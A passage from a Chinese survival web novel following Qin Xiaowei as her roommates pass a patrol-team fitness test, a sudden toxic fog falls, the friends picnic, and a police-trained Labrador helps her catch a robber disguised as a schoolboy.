这次的天灾过后，普通的日用品也变得紧俏起来，像是卫生巾，要是去同城APP上收，就只能买到鞋垫或是各种布料、纱布缝的可水洗卫生巾，这类卫生巾背面连胶水都没有，只靠几粒扣子或是魔术贴固定。 每次用完以后还得用冷水手洗晾干。 现在天冷，衣服基本上只能阴干，这些卫生巾就算是阴干了，也有点潮乎乎的。 对于习惯了卫生巾用完即扔的普通女生来说有点难以接受。 要是“讲究”一点的，就垫卫生纸，但是卫生纸会掉屑，还很容易侧漏，也没有卫生巾好用。 秦小薇之前意识到这个世界的情况可能不对的时候，就囤了很多卫生巾。 后面陆昼囤货的时候，也帮他妈妈和家里的长辈囤了很多，秦小薇也分到了一些。 陆昼囤的货大多都很贵，放在暴雨之前，一片就要三位数，属于她完全消费不起的那种……不过也是真的好用，有些卫生巾，原材料里面竟然还有蚕丝，舒适度简直没话说。 秦小薇用过之后，就不想用自己囤的那些了，知道健身房的员工缺卫生巾之后，她就放了一箱之前自己买的卫生巾和一大桶红糖在健身房里，说是“老板”给的员工福利，让她们需要的时候自己拿。 听到教练的话，她从座椅上站了起来：“我家里有，你等一下，我回去拿……健身房的卫生巾用完了吗？” 教练：“用完了！你也知道，咱们健身房的人比较多，还都是女孩子……” 她点点头，没有多说什么，径直回了自己的公寓。 等秦小薇再次回到健身房的时候，手里多了个纸袋，里面装着一包夜安裤。 教练要给学员上课，有时候陪练的时候动作幅度会很大，还会在垫子上打滚，穿夜安裤不容易侧漏。 秦小薇：“你先拿去用，晚点我问问老板，看看能不能再弄一箱卫生巾回来……” 教练：“谢谢！” 秦小薇关心道：“李教练，你身体要是不舒服的话，就和王姐说一声，让她联系客户，把这两天约的课往后推一推。” 教练却摆了摆手：“没事，我来月经的时候没什么特别的反应，不影响工作。” 见她这么说，秦小薇没再多说什么，又缩回角落里玩游戏去了。 三个室友都对巡逻队的工作非常上心，范槿和肖琳琳这几天一直在积极准备复试的事。 毕竟巡逻队要是真的能转正，按照现在的情况，她们就不用再担心失业的问题了……退一万步说，就算以后情况变好，巡逻队解散了，她们也能去找其他的工作。 为了让范槿和肖琳琳养好精神，复试的前一天，秦小薇给她们放了一天假，让她们好好休息。 复试当天，她还亲自开车送两人过去，准备负责她们的后勤工作。 复试的地点在宁市郊区的一处武警训练基地，训练基地占地上千亩，这地方平时是不允许普通人随便出入的，普通人想要进去参观，还得单位出面申请。 今天因为过来复试的人太多了，训练基地直接敞开大门，把今天定为开放日，向所有的市民开放。 除了秦小薇，训练基地还有不少人过来“陪考”。 今天有很多人过来参加复试，她们进去后找了好一会儿，才和许久没见的段霞汇合。 才大半个月不见，秦小薇就差点没认出来段霞，她瘦了很多，脸颊都凹陷下去了，脸上那点肉全都瘦没了，就连原本合身的衣服都变得宽宽大大的。 略微靠近，就能闻到她头发上洗发水的清香，看得出来，出发之前，她应该收拾过自己，但就算是这样，段霞依旧看起来十分憔悴。 秦小薇看着她的模样直皱眉：“阿霞，你最近是不是生病了？怎么一下子瘦了这么多？” 段霞摇了摇头：“没生病，可能是因为最近工作太累了，所以有点掉称……放心吧，我没事的！” 秦小薇的表情有些担忧：“你这个状态，参加复试没问题吧？” 段霞笑了笑：“我尽量拿个好名次。” 可能是因为男女天生的力量差距，遇到了违法犯罪的事，男性更容易制服暴徒，这次招募的巡逻队成员，男队员占了八成，女队员只占了两成。 虽然录取人数只有男性的四分之一，但参加复试的女性却只比男性那边少了一半，这也就导致，女队员这边的竞争格外激烈…… 秦小薇之前就听室友说竞争很激烈，直到看到现场人头攒动的场景才有了实质性的认知，她摸了摸口袋里之前陆昼给的那张便笺纸，那上面还有一个电话号码。 秦小薇知道，只要她打了那个电话，三个室友的这场复试也就只是走个过场。 她有点犹豫，不知道该不该打上面的电话…… 来之前，她对三个室友的实力还挺有信心的，觉得她们肯定能通过复试，根本不用她走后门，现在……她忽然有点不确定了。 秦小薇看了眼正在积极做着热身活动、互相打气的几个室友，犹豫了一下，还是决定先看看情况。 她们是练体育的，秦小薇觉得，她们应该都还保留着体育竞技精神，现在这种情况，她们应该更希望能和对手公平竞争。 复试主要是体力测试，最后综合面试和复试的成绩择优录取。 很快就有工作人员过来清场，秦小薇退到赛场边上，和其他围观的人一起加油、打气、当啦啦队。 第一项是跑步，看到三个室友的成绩后，秦小薇松了一口气。 她们应该……不需要她帮忙“作弊”？ 之后的立定跳远和仰卧起坐比完之后，秦小薇更放心了。 应该是稳了。 后面还有两项测试，分别是50米跑和30米折返跑。 秦小薇虽然没有参加测试，却比三个室友还要忙碌——她要当后勤，帮三个室友拿包，还得给她们送水、加油打气…… 可能是因为之前经常参加比赛，就算保持了优势，三人的心态依旧十分平和。 因为参加复试的人有点多，前三项测试结束后，她们得等其他人都测试完了，才能继续后面的项目，几人稍微活动了一下，就找地方休息恢复体力了。 等了一个小时后，后面两项测试也开始了，体能测试结束之后，四人都松了口气。 不出什么意外的话，她们应该会在录取名单里。 不过四人还不能离开，因为一个多小时后，还有一场心理测试。 范槿提议道：“我们去周围参观一下吧！难得武警训练基地对外开放，机会难得……” 其余三人都没有意见，三人便在附近逛了起来，训练基地其实没什么“景点”，除了正在重建的宿舍楼就是安全屋和训练场，训练场上还有人正在训练。 原本的绿化带全都枯死了，为了防止枯树砸到人，训练基地的枯树都在地震前被锯了，只留下一排排树根，整个训练基地可以说是一览无余。 她们稍微看了看，就没什么兴趣了，四人又拐去另一边围观男的体能测试。 他们这边人数多一倍，进度自然也就慢很多。 四人挤在人群中，和围观的人聊了聊，这边很多人都是过来碰运气的，有些人的啤酒肚比怀孕七八个月的孕妇还要大，连跑1500米都不能坚持完全程…… 但也有一些有实力的“专业”人员，比如退伍后失业了又重新找工作的退伍军人、失业的户外登山向导…… 但秦小薇觉得，这边整体的竞争压力还是比女生那边小，毕竟女生那边，敢来报名的，大多都对自己的实力有清晰的认知…… 围观了一会后，范槿忍不住和她们吐槽：“当男人可真好啊！下辈子，我也想当男的！” 秦小薇也深有同感。 几人聊了一会，周围忽然开始起雾了，秦小薇的表情变了变，她立刻从“背包”里拿出一次性医用口罩，分给三个室友。 她拽了拽范槿和肖琳琳的胳膊：“趁着现在还能看得清路，我们去那边靠墙待着吧，要不然待会儿雾大了，什么都看不清，容易发生踩踏事件……” “好！”三人戴上口罩，迅速朝着没人的地方跑去。 现场不少人都有些惊慌失措，但负责这场考试的工作人员都是武警，他们的反应非常快，当即就拿着大喇叭开始安抚众人的情绪，让他们尽量待在原地，不要随意移动…… “不要慌，只是起雾了而已，没什么危险！” “不要到处跑，雾大了之后会影响视野，撞到了人会受伤！” “测试暂停，等雾散了再继续！” “你们是要组建巡逻队的，以后工作的时候肯定会碰到这样的情况，要是你们自己都乱了阵脚，还怎么安抚其他人？” “……” 四人找到墙角后，就直接靠墙蹲下了。 大雾来得很快，秦小薇的视野里，很快就成了白茫茫的一片。 段霞和秦小薇之前都独自经历过忽然起雾的事，表现得还算镇定，范槿和肖琳琳虽然知道宁市最近的大雾出现得很频繁，但还没经历过在室外遇到大雾的事，都有些忐忑。 尤其是肖琳琳，从地震过后，她就没怎么出过门，现在更是紧张到一手拽着一个室友的衣角。 在武警的安抚下，在场的普通市民渐渐安静下来，他们原地坐下，安静等待大雾散去，秦小薇担心的踩踏事件根本就没发生。 她蹲在墙角，摸出手机，想要查看一下网上的消息，却发现，当她身处大雾之中时，想要看到手机屏幕上的内容，得把手机凑到眼前五六厘米的地方。 但手机凑得太近，屏幕上的画面又会变得有点“花”，她连屏幕上的时间都很难分辨。 秦小薇只能放弃看手机，和室友们聊天等时间过去。 好在这次不像上次在车里那样，周围有很多活人，她们还身处武警训练基地，远处还有武警，就算什么都看不清，她心里也没太害怕。 秦小薇总觉得这个地方都是浩然正气，就算起了大雾，也一点都不瘆人…… 但突然被剥夺了视觉，对某些普通人来说，是一件非常恐怖的事。随着时间的流逝，远处的干草地上，有胆小的男男女女，声音中渐渐染上了焦躁，有些人说话的时候，声音里还带着一丝哭腔。 但他们周围的其他人和武警一直在安慰他们，努力稳定他们的情绪…… 大雾持续了两个多小时，才迅速散去。 因为武警们反应迅速，这两个多小时，并没有造成什么乱子，现场也没有人受伤。 等到视野恢复了，秦小薇拿出手机，查了下天气预报，天气预报依旧没有显示大雾预警，她的心沉了沉。 今天这么多人过来参加复试，要是提前知道会出现大雾，官方肯定会推迟复试时间……官方该不会真的没办法预测这场大雾的出现和消失吧？ 她们在训练基地待到傍晚才离开。 成绩出来之后，会直接在官网公布，通过的人，之后要搬来训练基地培训，培训一周，才能正式上岗。 秦小薇看向段霞：“阿霞，你是怎么来的？要我送你回去吗？” 段霞：“我骑车过来的，可以自己回去。” 秦小薇：“行，那我们先回去了，你路上注意安全……” 秦小薇犹豫了两秒，还是冲着她开口道：“阿霞，咱们都还年轻，以后赚钱的机会还多着呢，你别那么拼，别把身体搞坏了……” 段霞：“嗯，我也觉得身体有点吃不消……这次复试要是通过了，我就换工作。” 回去的路上，秦小薇接到了一个电话，挂断电话后，她冲着后车座的两人开口道：“我得绕路去接一下汪汪，饭饭，你估计要晚十分钟才能到家。” 因为她每天都接送拉布拉多上下班，健身房的人都知道她朋友寄养了一条狗在她家，还是只有工作的巡逻犬。 秦小薇不想让范槿她们知道自己和陆昼的关系，就随便给香肠起了个非常敷衍的小名，叫汪汪。 香肠竟然也很配合，健身房的员工叫它“汪汪”，它也会给回应…… 范槿毫不在意地开口道：“没事，反正我回去也是躺着休息，安全屋的床还没你车里的座椅舒服呢，我刚好多歇一会儿……” 接到香肠之后，秦小薇才把范槿送回家。 市政的工作人员效率很高，第二天中午，就在官网公布了录取名单。 除了录取名单，官网还公布了每个人的详细成绩，看起来公开又透明。 可能是因为报考的女性太多了 ，部分人的成绩确实很优秀，市政最后竟然调整了招聘的人数比例，多录取了一些女队员，而男的那边，则比预定的少录取了一百多人…… 第85章 第85章野餐（双更合一）…… 秦小薇看了下室友们截图发在群里的成绩,可能是因为最近状态比较差，向来成绩最好的段霞这次拿的名次是三人中最低的，但就算是这样,也是中等偏上的水平。 可见,她们三人还是有一定实力的。 虽然被录取之后,范槿和肖琳琳就会离开健身房，可能之后因为忙碌的工作,她们的交集也会越来越少,但秦小薇却替她们觉得开心。 毕竟，加入巡逻队,对她们来说，人生也算是迈入一个新的台阶了。 往大了甚至可以说，这算得上是她们事业的开始了！ 培训后天才开始,今明两天,是成绩公示，队员们收拾东西入住武警培训基地，准备开始训练的时间。 段霞知道自己被录取之后,就辞了钢材厂的工作，现在宁市很多人没工作,钢材厂的工作虽然很累,但工资高，那边根本不缺员工，知道她辞职的理由后,主管也没有留她，中午就给她结清了工资。 范槿有她爸妈帮忙，不需要秦小薇操心，现在打车车费很贵,担心肖琳琳和段霞自己一个人搞不定，秦小薇还主动提出，开车帮她们把行李送去训练基地。 两人都没有拒绝。 收拾行李的时候，肖琳琳的情绪有点低落：“忽然要离开，还真有点舍不得……薇薇，我走了以后，你们大家会想我吗？” 秦小薇翻了个白眼，打断了她突如其来的多愁善感：“你又不是要回老家，别搞得这么伤感，都在宁市，你要是想回来，随时可以回来！” 边上一个教练也附和道：“对啊，琳琳，你以后还要在市区巡逻，说不定就分到了咱们这片……大家都在宁市，以后见面的机会多着呢！” 肖琳琳握拳：“要是我真的分到了这边巡逻，我一定会罩着你们的！” 秦小薇笑道：“行啊，你可要好好努力，争取当个队长什么的……琳琳，你以后可就是我们在巡逻队的人脉了，以后要是有人在健身房闹事，我直接给你打电话……” 肖琳琳的脸瞬间垮了下来：“当队长？会不会有点难？” 秦小薇：“巡逻队要是转正了就有编制了，之后就算巡逻队解散了也有机会调到别的部门，大家肯定都盯着转正的名额，竞争这么激烈，你不变优秀怎么让领导看到你……你没信心？” 肖琳琳挠了挠头，不确定道：“我尽力？” 秦小薇拍了拍她的肩膀，郑重道：“拿出你参加举重比赛时的决心！” 肖琳琳：“好！我努力拿第一名，当队长！” 把肖琳琳的行李放到车上之后，两人又拐去了郊区的钢材厂接段霞。 最近宁市在重建，建房子需要很多钢材，所以钢材厂调整了生产线之后，又投入了紧锣密鼓的生产中。 钢材厂大半的建筑都在地震的时候毁了，不过里面的生产线都被好好保存下来了，新厂房和安全屋一样，都是用钢材拼接而成的。 钢材厂非常热闹，车辆来来往往，秦小薇登记了车牌号之后，把车开进了厂房里。 钢材厂很大，她开了好几分钟，才到宿舍区。 钢材厂实行的是三班倒的工作模式，所以宿舍区一直有人活动。 宿舍区的房子很规整，虽然房子都是新“建”的，但宿舍区外面却又脏又乱，附近拉了许多绳子，虽然没有太阳，但上面依旧晒满了密密麻麻的衣服和床单。 因为下水系统还没修好，污水没地方倒，这里的人便把污水随意地泼在地上，污水混着垃圾，让这里看起来就像是电影里的贫民窟。 由于工作环境的问题，工人的衣服大多都很脏，男人们说着脏话，随意地开着带颜色的玩笑，女工的占比很少，偶尔看到一两个也是年纪比较大的中年妇女…… 在秦小薇看来，这里的环境属于手无缚鸡之力的普通女孩路过的时候，得快步离开，才能避免被性|骚|扰的那种。 如果住在这里，得每天晚上用柜子堵住大门，要不然晚上睡觉都不一定能睡安稳…… 下车后走了几十米，肖琳琳就忍不住嘟囔道：“住宿环境这么差，工作还辛苦，难怪阿霞最近瘦了那么多……” 她们走了一小段，就在路口处看到了提着大包小包，正朝外走的段霞，两人连忙小跑过去，帮她分担手里的东西。 秦小薇：“阿霞，就这些吗？还有别的行李吗？” 段霞摇头：“就这些了。” 秦小薇：“行，那你跟我们上车吧！” 武警训练基地内部有个小超市，她们昨天来的时候没有开门，今天倒是开了，里面货物的种类还算丰富，外面比较紧俏的生活用品在这里都能买到，还不限购，算是市政给自己人的福利。 看到小超市后，肖琳琳很开心：“太好了，这里有超市，以后就不用去移动物资车那排队抢东西了！” 秦小薇提醒她：“这里这么多人，估计也要排队。” 肖琳琳：“那也比外面好，这里的总人口比Q大附近少多了……” 训练基地的宿舍比安全屋宽敞许多，和她们在Q大的宿舍一样，是四人间，秦小薇帮她们把行李送进宿舍，又陪两人去小超市采购了一些东西，才开车离开。 为了庆祝她们有个新的开始，秦小薇决定，给她们弄顿大餐，庆祝一下。 担心在公寓楼吃得太好会引起其他人的眼红，她把地点定在了郊外。 培训后天才开始，三人第二天有一整天的空闲时间。 【秦小薇：我弄到了一些食材，咱们明天去野餐怎么样？】 【范槿：好啊好啊！都有什么？】 【范槿：流口水.jpg】 【秦小薇：牛肉、猪五花、鸡肉，还有一些蔬菜和饮料……咱们去野外吃烧烤庆祝你们通过复试怎么样？】 【肖琳琳：我同意。】 【肖琳琳：猫猫点头.jpg】 【段霞：我们去哪？宁市现在还有风景好的地方吗？】 【秦小薇：去湿地公园？听说那边还保留了很多枯草地，看不到青草，咱们就看看枯草吧……】 【范槿：哎呀，阿霞，你抓错重点了，风景什么的不重要，重要的是烧烤！烧烤！烧烤！】 确定了时间地点，秦小薇就放下了手机，她进了空间，收拾了一些食材，装在箱子里，打算明天带出去郊游…… 她收拾东西的时候，拉布拉多就蹲在边上看着，眼珠子一直黏在她装食材的箱子上。 可能是因为白天跟着警察巡逻，把多余的体力都消耗掉了，拉布拉多晚上回来以后也不在空间里疯跑了，它稍微在空间里溜达几个小时，就跑回它的狗窝里睡觉了，作息比秦小薇还要规律…… 秦小薇：“别看了，这不是给你吃的……” 她想了想，蹲下来，朝着它伸出两只手：“香肠，我明天要去郊外野餐，你要不要一起去？不过去野餐了，我就得给你请假，你就不能去找大威它们了……左手是去野餐，右手是去上班。” 虽然它不会说话，但秦小薇知道，它很聪明，能听懂她这一长串话。 拉布拉多的狗爪子在空中停顿了片刻，左右挪移了好几次，一副纠结的模样，最后，它把爪子搭在了她的右手上。 看到它的选择，秦小薇忍不住笑了起来，她揉了下拉布拉多毛茸茸的脑袋：“没想到你对待工作还挺有责任心的……是只好狗！” “汪——”它扬了扬脑袋，似乎是在回应她的夸奖。 第二天上午十点，秦小薇准时到武警训练基地门口，范槿三人也早就在门口等她了。 一上车，范槿和肖琳琳就一直朝后备箱的方向张望：“薇薇，你准备了多少食材？够咱们吃吗？” 秦小薇：“放心吧！绝对够咱们四个吃撑！你们在训练基地住得怎么样？还适应吗？” 范槿小鸡啄米似的点头：“适应！适应！薇薇，你不知道，训练基地的条件可好了，食堂里还有米饭和炒菜，我昨天晚上还领到了一碗海带烧肉！今天早上的面条里面还有鸡蛋丝和肉丝……可惜咱们只能在这里住七天，等培训完了，我就得回家。” 秦小薇有些惊讶：“巡逻队不包住吗？” 段霞：“包，但是得申请，条件和外面的安全屋差不多，饭饭想继续和她爸妈一起住，也有个照应。我和琳琳打算申请宿舍……” 四人有一搭没一搭地聊着天，很快到了目的地。 湿地公园之前经历过一场火灾，还残留着不少焦黑的痕迹，有些地方，就算没被火烧，地面也是一片枯黄，枯树东倒西歪……湿地公园里一个工作人员都看不到，一副冬日荒凉破败的模样。 不过四人都没在意，她们这趟主要是来烧烤的。 秦小薇找了个略微平坦一些的地方停车，她打开后备箱，取出里面的帐篷、食材和工具，招呼三个室友干活。 “我搭帐篷，你们把肉和菜串上，那一箱是无烟炭，咱们分一个人点火，等肉串好了，就可以上火烤了……” “我来切肉！ “我来引火，谁都别和我抢，我要让你们尝尝我范大厨的烧烤手艺！” “……” 她们说笑着，很快，湿地公园的上方就多了一缕烟气，空气中也多了一股烧烤的烟火味。 她们的烧烤手艺其实一般，但秦小薇准备的调料很全，刷上调料之后，只要没烤焦，味道就能救回来，再加上人对自己手艺的容忍度总是格外的高，她们也不觉得烧烤不好吃…… 秦小薇左手一串碳烤牛肉，右手一串碳烤干香菇，和室友们坐在野餐垫上分享美食，忽然，她们四个人的手机同时响了起来，四人拿出手机看了看，看到手机屏幕上的内容后，几人的表情都变了。 预警中心又发预警短信了，这次，是关于最近频繁出现的大雾的预警短信。 短信里提到，长期吸入雾里的东西会对人体有害，短信提醒大家，外出的时候带上口罩，要是起雾了，就把口罩拿出来戴上，还有普通人碰到了忽然起雾的情况，该怎么处理才能避免危险…… 短信里还提到，之后，宁市社区和市政的工作人员会给大家发放一次性医用口罩，口罩可以有效过滤空气中的有害物质，预警中心让市民们不要恐慌。 看着预警中心刚刚发过来的短信，段霞三人瞬间食欲骤减。 肖琳琳扁了扁嘴：“唉，虽然说预警短信是提醒我们做好应对灾难的准备，但我真的有点PTSD了……我真的不想收到预警中心的短信！” 范槿满脸愁容：“昨天起雾的时候，我爸妈就在外面，不知道他们会不会出事……” 段霞的态度稍微乐观一些：“还好只是雾，不起雾的时候还能正常出门，不影响工作……” 秦小薇开口安慰几人：“收到短信，至少还能做点准备，总比国外好，什么都不知道，只能用身体硬熬……饭饭，叔叔阿姨肯定不会有事的，短信里不是说了吗？要长期吸入雾气里的东西，才会对身体有害，昨天的大雾就持续了两个多小时，不会有事的……” 她又去车上拿了几瓶可乐下来：“喝点肥宅快乐水，开心点，难得出来野餐一次……我这些东西可不好弄，你们别浪费了！天塌下来还有高个子顶着呢！咱们只要照着预警短信里提到的预防措施做就行了……肯定不会有事的！前几次咱们不也是这么过来的吗？” 在秦小薇的安慰下，三人放下担忧，继续吃吃喝喝。 吃饱喝足后，秦小薇拿出手机，搜索了一下网上的消息，她发现，大雾只有Q省及附近几个省份有，并不是全国性的。 网上还有专家对雾气中的有害成分作出了分析，说它们来源于世界各地工业生产产生的污染，被之前的台风带到了附近几个省份。 至于它们为什么会突然出现又迅速消散，专家猜测，可能和最近的低温天气、风向、空气湿度、磁场等环境因素有关。 影响因素太多，样本又不够，具体的还要等待进一步的分析研究。 就像秦小薇之前担心的那样，关于雾气的出现和消失，官方现在还没有准确的预测手段，普通人能做的，就是尽量待在室内，以及随身携带口罩。 看到今天的头条新闻后，国内其他没出现过大雾天气的地区的网友都十分庆幸，但Q省以及附近几个省份的网友反应都很激烈。 有人想要逃离这片“危险地带”，在网上请愿，让市政组织撤离；还有人之前几次大雾的时候没做任何防护措施，他们很担心自己的身体会出问题，在骂官方为什么不早点发预警短信；还有人担心，只待在家里或是平时不戴口罩，只在大雾来临的时候戴口罩真的有用吗，毕竟那些有害物质是散在空气中的，空气又无处不在…… 还有卖空气净化器的商家，趁机打起了广告，说自己家的产品可以过滤那些有害物质…… 网上的消息非常乱，秦小薇看了一圈，最后种草了几台空气净化器。 那些商家吹得天花乱坠，她也不知道有没有用，但买回来以后，她可以放到健身房里宣传，至少顾客们能获得一点心理安慰…… 炭火熄灭之后，四人就躺在野餐垫上，看着头顶湛蓝的天空发呆。 范槿：“这天明明这么蓝，完全不像被污染过的样子，怎么会莫名其妙起雾呢？” 秦小薇：“不知道，我只希望，这场大雾，不会影响健身房的生意……” 秦小薇唯一希望的，就是这些接连出现的天灾，不会影响健身房正常开业……毕竟就算健身房歇业了，员工的基础工资也得发，一年多来那么几次，经营不善的话，真的很容易倒闭。 肖琳琳安慰她：“现在宁市的健身房，就属咱们条件最好，只要能正常出行，就不会对生意有影响！” 四人在野外待到傍晚，把中午剩下的食材都消灭完之后，才依依不舍地离开。 今天出门虽然出了点小插曲，但因为吃到了许久没吃过的烧烤，四人的心情都很不错。 尤其是段霞，从钢材厂辞职之后，感觉整个人都放松了许多，甚至给人一种重获新生的感觉…… 送完了三个室友，秦小薇又折去了警察局接香肠下班，才开车回公寓楼。 半路上，路边有个穿着校服的男孩在拦车，她犹豫了一下，把车停了下来。 秦小薇降下车窗：“有事吗？” 男孩有点胖，看他穿的衣服，应该是个高中生，他校服里面还穿着一件黑色的棉袄，把校服外套撑得鼓鼓囊囊的，校服的领子和袖子都很脏，头发也乱糟糟的，看起来邋里邋遢的。 男孩：“姐姐，我想去之前的东临大厦，你知道怎么走吗？” 秦小薇点头，她朝身后的方向指了指：“从这里一路往前走，路过两个路口后左拐，然后你会看到一个三岔路口，再左拐……” 男孩：“姐姐，你是本地的吗？” 秦小薇随口答道：“不是，怎么了？” 男孩没接她的话，转而道：“姐姐，你可以用手机帮我导航一下吗？我看一下地图，会记得更清楚一些……” 秦小薇上下扫了他一眼，视线落在他胸口的校徽上，最后还是点头答应了。 谁知她刚拿出手机，男孩就抢走了她的手机，然后转身就跑。 秦小薇：！！！ 她飞快拉开车门，跳下车，开始追人，副驾驶座上的拉布拉多紧随其后。 他逃跑的速度非常快，但两条腿总归是跑不过四条腿，没过一会儿，他就被拉布拉多扑上去咬住袖子。 拉布拉多拖着他不让他跑，两方僵持之下，他摔倒在地上。 就在拉布拉多拖住他的这几秒，秦小薇赶了上来，她一脚踩住男孩的胸口，从他手里抢回手机。 秦小薇：“胆子挺大，天都还没黑呢，就敢拦路抢劫！” “我错了，你放过我吧……”男孩迅速滑跪。 秦小薇却没理会他的求饶，她把人绑起来，扔到后车座：“香肠，你去看着它！” “汪——”拉布拉多跳到男孩边上，虎视眈眈地盯着他。 它龇着牙，一改平时蠢萌的样子，看起来非常凶，一副随时准备攻击人 的模样。 秦小薇把车开回了香肠工作的警察局，托狗子的福，秦小薇这几天也在这里的警察面前混了个眼熟，她只略微站了一会，就有警察过来帮她做笔录。 做完了笔录，秦小薇才知道，刚刚那个胖子根本就不是什么高中生，他今年已经二十一了，他暴雨之前就是个惯犯，还有案底。 他穿着那身校服，只是为了降低人的警惕心，方便他抢东西。 因为很多已经工作的成年女性，看到学生之后，会下意识降低警惕，把自己当“长辈”，觉得他们是需要帮助的弱势群体。 很多不法分子利用她们这种心理作案，成功率非常高…… 警察还告诉她，宁市很多犯罪分子，在挑人下手的时候，都是从问路开始的……让她一个人出门的时候提高警惕。 秦小薇：“……”懂了，以后遇到问路的，她一律不予理会！ 临走前，那位警察还拍了下拉布拉多的脑袋，夸奖它：“香肠，今天干得不错，给你记一功，下次我碰到你主人让他奖励你一个大鸡腿！” 秦小薇想到了香肠之前的反应速度，觉得晚上回去确实应该给它弄点加餐奖励它。 怎么办？忽然觉得养只大型犬挺好的，尤其是这种受过专业训练，会保护主人的！ 改天找人打听一下吧，看看有没有退役的警犬接受领养…… 回家后，秦小薇直接进空间杀了一只鸡，她把鸡胸肉片成了薄片，放到烤箱里，打算烤成鸡肉干给香肠当小零食吃，还煮了两只鸡腿给它加餐…… 秦小薇：“香肠，没想到你是有真本事的，我还以为你天天上班，是去找小伙伴玩的呢！” 第86章 第86章鹅蛋（双更合一）…… 拉布拉多埋头干饭,并没有理会她的碎碎念。 秦小薇摸了下它的脑袋，继续开口道：“香肠，你下次可以试试攻击坏人的其他地方,比如说咬他们的小腿和脚踝……我觉得这样杀伤力更大,你的工作要帮忙抓坏人,不会咬人可不行。” 拉布拉多继续干饭…… 做完了狗饭，秦小薇就去研究她的射钉枪了,不知道是不是焊接的时候出了问题,枪管内部不够平滑，加上去的延长枪管有时候会卡钉子,她已经改废了两支射钉枪了。 但她一直没放弃，这两天一直在想办法改进。 她干活的时候，小黄拍着翅膀飞了过来,它停在秦小薇的肩膀上,惬意地梳理着自己的羽毛。 和它相处了这么久，秦小薇也习惯了它时不时停在自己的肩膀上，蹭自己的脸撒娇,手上的动作并没有停。 虽然空间里只有她一个活人，却十分热闹。 远处,机器人在田里一趟趟折返,收割着地里刚长出来的嫩草，机器运转时，发出一阵阵“嗡嗡”声。再远一点的地方,是牲畜棚，牲畜们在棚子里自由活动，各种叫声混成一团，拉布拉多舔干净饭盆,就去找它们玩了，狗叫声和各种牲畜的声音盘旋在农场的上方，十分有生活气息…… 第二天，拉布拉多去上班的时候，秦小薇把烤好的鸡肉片放进了它“制服”的背包里，让它工作的间隙和小伙伴们分享。 像极了一个给自家上幼稚园的小朋友准备小零食的家长…… 上午她在健身房干活的时候，业主群里有业主提醒大家，楼下社区的工作人员在发口罩。 看到消息后，她和健身房的员工立刻分批下去领口罩，秦小薇是最后一批下来的，她下来的时候已经有些晚了，再加上附近聚集了很多人，领物资的队伍特别长。 就算社区设了六个领口罩的摊子，她依旧排了快两个小时的队才领到免费的物资。 和之前一样，领口罩之前需要刷身份证，一个人只能领一包，一包五片，据说是一个月的量。 这次发的免费的医用口罩，比秦小薇之前在同城APP上收的厚实很多，质量看上去也好很多。 领到口罩后，有那些怕死的，当场就把口罩戴上了。 按照网上专家的科普，这种口罩的有效防护时间只有八个小时，使用八个小时后，防护效果会慢慢降低。有人嫌弃免费口罩的数量太少，待在物资点前不愿意离开，胡搅蛮缠地要求工作人员再给他几包。 “你这一片就只能用一天，这一包不到一个星期就用完了，根本不够用，你们再给几包，我花钱买……” 工作人员一点都不惯着他，毫不犹豫地拒绝道：“不卖！这都是有数的，你多拿了，别人就不够了……再说了，口罩又不用一直戴着，起雾的时候戴一会儿就够了，一包够用了！” 后面排队的人太多，见那人影响了队伍前进的速度，纷纷开口谴责他。 “一人一包，边上的牌子上写得很清楚了，你不识字吗？” “真想买就高价去同城APP上收，肯定能收到，别在这挡着！” “后面这么多人排队呢，动作快一点！” “我还要上班呢，别耽误我时间！” “……” 在众人的谴责声中，那人只能灰溜溜地离开物资点。 之后几天，秦小薇之前订的空气净化器也陆续到了，她给公寓和员工宿舍各放了一台，剩下的几台全都放健身房了。 她也不知道有没有用，就当是买个心理安慰吧！ 范槿和肖琳琳两人不在，秦小薇摸鱼的时间也变少了，她每天都得分出一部分时间在健身房招待客人。 不过这是她自己的店，赚到的钱也是进她自己的口袋，她一点也不觉得麻烦。 这天早上，秦小薇起床后，就接到了陆昼的电话。 陆昼：“我出院了，你可以把香肠送回来了！” 秦小薇：“今天不送它去上班吗？我看它还挺喜欢和警察一起出门执勤的……” 陆昼：“那你先送它去警察局，之后再把它的东西送回来，下午我让我妈去接它下班……” 秦小薇有点犯懒，想让他自己过来拿拉布拉多的狗窝狗玩具，但想到他刚刚出院，现在还是个伤员，最后还是答应跑这一趟。 临出门前，她往拉布拉多的背包里塞了几根鱼肉和虾泥混合烤成的小零食。 她揉了下拉布拉多的脑袋：“好好上班，下午你主人就会来接你了！” “汪——”拉布拉多用脑袋拱了下她的手。 “好了，别撒娇，待会要迟到了！”秦小薇给它穿上装了小零食的背心。 送完了拉布拉多，她就开车去了陆昼的小区，她注意到，今天小区外面除了保安，还多了几个站岗的军人，就算她的车牌号已经登记在陆昼的名下了，保安依旧让她留下了详细的身份信息。 看起来非常严格！ 等进了小区，秦小薇还碰到了一队正在跑操的军人。 上了楼之后，她忍不住和陆昼吐槽道：“你们小区的安保好严啊，宁市那些小偷小摸现在肯定不敢靠近你们小区……” 陆昼解释道：“这次事发突然，上面的人比较担心我的安全，等过段时间就好了……” 他穿着一套深蓝色的居家服，姿态放松，脸色红润，除了走路的时候动作略微有些慢，根本看不出受伤的痕迹。 可见，他这几天在医院里养得很好。 秦小薇朝屋里看了看，没看到其他人，有些奇怪：“你家就你一个人吗？你爸妈他们没来照顾你？” 陆昼：“他们饭点会送饭过来。” 秦小薇点点头，把后备箱里的狗窝狗玩具搬进了屋里，见他行动不便，还帮忙把东西在狗窝里摆好了。 秦小薇：“还有别的事吗？没事我走了！” 陆昼：“给我拿几桶汽油。” “行！”她直接进空间，从油罐车的卸油口装了几大桶汽油。 秦小薇刚把汽油桶拿出来，门铃就响了，她吓了一跳，立刻把刚拿出来的汽油桶收进仓库里。 陆昼的表情却十分淡定，他捂着腹部，从沙发上缓缓站了起来，走过去打开大门，门外是一个穿着制服的军人，他和陆昼说了些什么，又朝屋里看了看，才离开。 秦小薇看着陆昼慢吞吞的动作，想了想，从仓库里拿出了一堆鹅蛋：“牲畜棚里那几只大鹅最近下蛋比较勤，你拿去吃吧，有利于伤口恢复！” 陆昼：“……” 陆昼盯着她的脸看了一会儿，看得秦小薇都快不自在了，才拿起桌上的鹅蛋挨个摇了摇，态度十分慎重：“这些蛋不会已经臭了吧？” 秦小薇翻了个白眼：“爱吃不吃！” 虽然她嘴上这么说，却没把蛋收回来。 主要是，这些鹅蛋没有她农场里出产的鸡蛋好吃，水煮鸡蛋她可以空口吃，都不会觉得腻，但 